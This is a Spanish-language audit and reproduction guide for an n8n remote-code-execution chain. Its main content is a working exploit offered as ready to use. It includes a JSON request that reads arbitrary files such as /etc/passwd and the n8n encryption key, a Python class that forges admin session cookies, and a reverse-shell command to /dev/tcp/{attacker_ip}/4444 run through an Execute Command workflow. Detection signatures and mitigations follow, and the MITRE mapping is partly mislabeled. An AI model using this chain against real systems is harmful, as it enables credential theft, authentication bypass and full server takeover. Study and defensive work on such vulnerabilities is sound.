
Auditoría técnica y reproducción de CVE-2026-21858, una cadena de RCE en n8n que explota la confusión de Content-Type para lectura arbitraria de archivos, falsificación de sesiones y ejecución de comandos.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - Explotación de Cadena Completa RCE en n8n
Esta auditoría técnica se basa en los hallazgos de Dor Attias de Cyera Research Labs (9 de noviembre de 2025) e incluye pasos de reproducción listos para usar en entornos de laboratorio REmnux/Kali Linux.
Información Clave: Objetivo: Versiones de n8n >=1.65.0 a <1.121.0.
Vector de Ataque: Red (HTTP/HTTPS).
Complejidad: Baja.
Impacto: Total (Confidencialidad, Integridad y Disponibilidad).
Puntuación EPSS: 0.97 (Probabilidad de explotación muy alta).
Flujo Normal: Una solicitud multipart/form-data es procesada por parseFormData() (utilizando el analizador Formidable), que rellena correctamente el objeto req.body.files.
Condición Vulnerable: Si un atacante envía una solicitud con Content-Type: application/json, el middleware invoca parseBody(). El JSON enviado se analiza directamente en req.body, lo que sobrescribe fatalmente la propiedad req.body.files sin validación adicional.
Explotación: La función formWebhook -> prepareFormReturnItem() llama ciegamente a copyBinaryFile(req.body.files[0].filepath), confiando en la ruta de archivo proporcionada en el JSON, copiando así archivos locales arbitrarios al almacenamiento de flujos de trabajo accesible.
Requisitos Previos: Docker y Docker Compose.
Python 3 con las bibliotecas requests, pyjwt y cryptography.
Netcat (nc) o Burp Suite para la captura de shell.
Pasos de Implementación: Ejecutar Instancia Vulnerable:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
Inicialización de Administrador: Acceda a http://localhost:5678, cree una cuenta de administrador (por ejemplo, [email protected] / Password123!).
Configuración del Flujo de Trabajo: Cree un nuevo flujo de trabajo con un nodo "Form Trigger" que incluya un campo "File Upload". Active el flujo de trabajo y anote la "Test URL".
Carga Útil de Solicitud HTTP:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Objetivos Estratégicos:
/home/node/.n8n/config: Para robar la N8N_ENCRYPTION_KEY.
/home/node/.n8n/database.sqlite: Para extraer hashes de credenciales de usuario.
Fase 2: Bypass de Autenticación (Falsificación de Sesión) Una vez obtenidos la clave de cifrado y los datos de usuario, se puede falsificar la cookie n8n-auth.
Lógica de Falsificación de Sesión:
Carga Útil: {"userId":1, "hash": sha256(email + password).slice(0,10)}.
Firma: Firmada usando la N8N_ENCRYPTION_KEY con el algoritmo HS256.
Resultado: La cookie generada permite acceso administrativo completo sin pasar por el proceso de inicio de sesión normal.
Fase 3: Ejecución Remota de Código (RCE) Como administrador (a través de la cookie falsificada), podemos automatizar la creación de un nuevo flujo de trabajo que contenga un nodo "Execute Command".
Carga Útil de Comando: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
Indicadores de Red (IDS/IPS): Firma Suricata: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
Anomalía: Solicitudes POST con Content-Type: application/json enviadas al endpoint /webhook/*/form-endpoint.
Forense Basado en Host: Sistema de Archivos: Busque archivos de texto sospechosos en el directorio ~/.n8n/files/ que contengan datos del sistema (por ejemplo, /etc/passwd).
Registros: Audite los registros de n8n para detectar actividad de la función prepareFormReturnItem sin datos multipart acompañantes.
Docker Inspect: Verifique que la versión de la imagen sea inferior a 1.121.0.
Solución Alternativa: Si el parcheo no es factible, restrinja el acceso al endpoint /webhook utilizando un Firewall de Aplicaciones Web (WAF) para bloquear solicitudes JSON sospechosas.
Segmentación de Red: Aísle las instancias de n8n de las redes internas sensibles para prevenir el movimiento lateral en caso de intrusión.
Ejecución: T1059 (Intérprete de Comandos y Scripting)
Persistencia: T1098 (Manipulación de Cuentas mediante Falsificación de Sesión)
Exfiltración: T1083 (Descubrimiento de Archivos y Directorios)
DESCARGO DE RESPONSABILIDAD: Este análisis se proporciona exclusivamente con fines educativos, auditoría de seguridad y defensa cibernética profesional bajo las instrucciones del Maestro SASTRA_ADI_WIGUNA. Cualquier uso indebido de esta información para actividades ilegales es responsabilidad absoluta del operador. El parcheo en producción es obligatorio.